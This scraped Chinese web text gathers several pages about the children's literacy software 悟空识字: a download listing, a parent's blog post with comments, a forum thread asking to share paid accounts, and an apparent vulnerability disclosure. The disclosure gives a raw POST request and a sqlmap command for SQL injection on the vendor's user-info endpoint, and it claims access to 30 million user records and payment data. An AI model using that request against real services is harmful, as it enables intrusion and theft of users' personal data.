您的位置：&-&-> -& 悟空识字 2.0.4.6
同类周下载排行
软件授权：免费版　
软件大小：1068KB
人气指数：
软件语言：简体中文
软件评级：
运行环境：Winxp/vista/win7/
更新时间： 10:39:03
出 品 人：&&
软件合集：
　　本识字软件是一款专门为三至八岁学龄小朋友早期阅读和上小学准备的儿童识字游戏，整个识字游戏使用科学的多元识字法，并以儿童熟悉的《西游记》为故事背景，通过Flash识字游戏的形式快乐高效的完成学习过程。新版本增加数学、英语、拼音学习入口。
热门软件推荐
热门安卓应用推荐
牛华网推荐·······················································
按标签查看
&&& 前两天青儿玩悟空识字玩到升级，第一辑免费玩，青儿已过关成功，还发了奖状给她，瞧把她乐的。上面提示要等升级才能玩，我不会搞，看上面好像要花钱买才能玩，我叫她等爸爸回来，看看能否不花钱就能玩。
昨天上午学完跆拳道，我接青儿走在路上边走边聊，她问我可到十点钟了，我说快了吧。青青说爸爸答应她到十点钟就回来帮她搞悟空识字。呵呵，青儿可能一直都惦记着悟空识字，昨早上不知她怎么和她爸爸说的，她相信她爸爸答应她就一定会回来。我听她这么一说怕她爸爸是应付她，所以就说爸爸有好多事要处理，到时不一定得回来。青青说：&爸爸说过了，到时他和老板讲一下就能回来。&但我还是跟她说爸爸的事情有时是不能拖的，如他能回来他肯定会回来的，你回去先玩吧。&&
&&& 青儿回到家洗洗手喝点水来到电脑旁打开悟空识字，开始玩起来。大概十点半，听到敲门声，叫青儿去看看是谁，还没有等青儿去，青爸爸拿钥匙已开门进来了。爸爸一进家就说和青儿说好回来帮她搞悟空识字，事情一办完就赶回来了。看到爸爸回来了，青儿可高兴啦。真没想到青爸爸说话还是算话的，这让青儿以后都非常信任爸爸。爸爸洗完手就来给青儿搞悟空识字，他一看说是要花钱买才能升级，上面标的价格是198元。我在厨房里听到，赶紧过来叫青爸爸如要花钱就不要买。因为以前青儿在上小班时就帮她花了398元买了一套牙牙学语，带书和光盘，上面也是识字，游戏，只是那个难度有点儿大，所以青儿现在对那个不大感兴趣。对这个悟空识字感兴趣，最主要上面有孙悟空，好多故事内容她都知道，所以她好像更喜欢玩这个。可是又要花这么多钱，我认为真的是没有必要。青爸爸答应青青等他发了奖金时再帮她买，说现在没有钱了，钱都花光了。青儿听这么一说，也没有吵着要买，她还是一个听商量的孩子。其实青儿喜欢学习是好事，可是家里已经有一套跟这个差不多的学习软件了，所以我认为没必要再买。
阅读(297)&|&(9)&|&&|&&|&
对青青说：
就像鼎妈所说，识字的途径有很多，不一定非要去花这个钱！
对青青说：
原来还要收钱呀，现在的人真是变着法子赚钱！
对青青说：
青儿还真是个听商量的好孩子呀，并没有因为喜欢悟空识字而缠着闹着买，青儿是讲道理的。
对青青说：
青爸说话很讲信用，这样好的爸爸青儿怎么不喜爱啊！呵！
对青青说：
青儿对悟空识字挺感兴趣啊，只是那个要花钱买，觉得有点划算了！！
对青青说：
网上这样的识字软件有很多呢，还是别浪费钱了，真的买了孩子不愿学了，大家都不高兴呢
对青青说：
识字的途径有很多，不一定非得这样才能学，亲爱的做得对
对青青说：
亲爱的我和你的意见一致，不必要的，我的朋友给孩子注册了，然后花钱升级，我给她说，看吧，不久的将来对你对孩子都是负担
对青青说：
&&&1&&&共有记录数：9分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向第三方安全合作伙伴开放
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
宁波启点教育科技有限公司旗下产品悟空识字某处SQL注入，可导致3000万用户信息及大量订单等信息泄露。
详细说明：
公司名称：宁波启点教育科技有限公司
公司简介：
　　宁波启点教育科技有限公司是创业型互联网教育软件研发运营公司，公司专注于儿童互联网教育市场，致力于为3-8岁的孩子提供最好的幼儿教育软件。公司创始人是一群热爱孩子的爸爸们，来自国内知名的网络、互联网公司，有着丰富的成功互联网项目开发运营经验
悟空识字存在POST型Sql注入，uid参数带入单引号报错
Post请求：
POST /home/user_service_utf8.php?do=get_userinfo HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/ Firefox/31.0
Accept: text/html,application/xhtml+xml,application/q=0.9,*/*;q=0.8
Accept-Language: zh-cn,q=0.8,en-q=0.5,q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
t=edb55b016d84&uid=9;
漏洞证明：
python sqlmap/sqlmap.py -u &/home/user_service_utf8.php?do=get_userinfo& --data=&t=edb55b016d84&uid=& -p &uid& -v 6 --current-user
当前用户：
数据库，有两个比较重要的库一个主要信息为用户信息，一个主要信息为订单信息：
订单表结构：
订单记录，超百万条：
用户信息表，超3000万的用户信息：
抽取几十条支付信息:
如果觉得有用，请送个悟空识字的收费账号给小孩玩玩。
修复方案：
版权声明：转载请注明来源 @
厂商回应：
危害等级：高
漏洞Rank：15
确认时间： 10:05
厂商回复：
已处理，多谢。
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
登录后才能发表评论，请先查看: 5866|回复: 7
有购买悟空识字可以帐号分享的吗?
该用户从未签到
马上注册登录，结交更多好友，享用更多功能，轻松玩转旮旯网。
才可以下载或查看，没有帐号？
宝宝喜欢悟空识字,但是一般就有晚上用一个小时的时间,希望可以有购买的朋友把帐号分享一下,可以分担一部分费用,谢谢
该用户从未签到
咕噜咕噜咕噜咕噜咕噜
该用户从未签到
没有吗？再顶顶…………
TA的每日心情开心 09:04 AM签到天数: 7 天[LV.3]偶尔看看II
该用户从未签到
，我 想买啊
该用户从未签到
我也是想要一个
该用户从未签到
我有刚买的，但是不知道怎么能和您一起分享
该用户从未签到
小手一抖,一分拿走,嘎嘎~~
活动:6121008
售后:6209006
招聘:6209003
Powered by}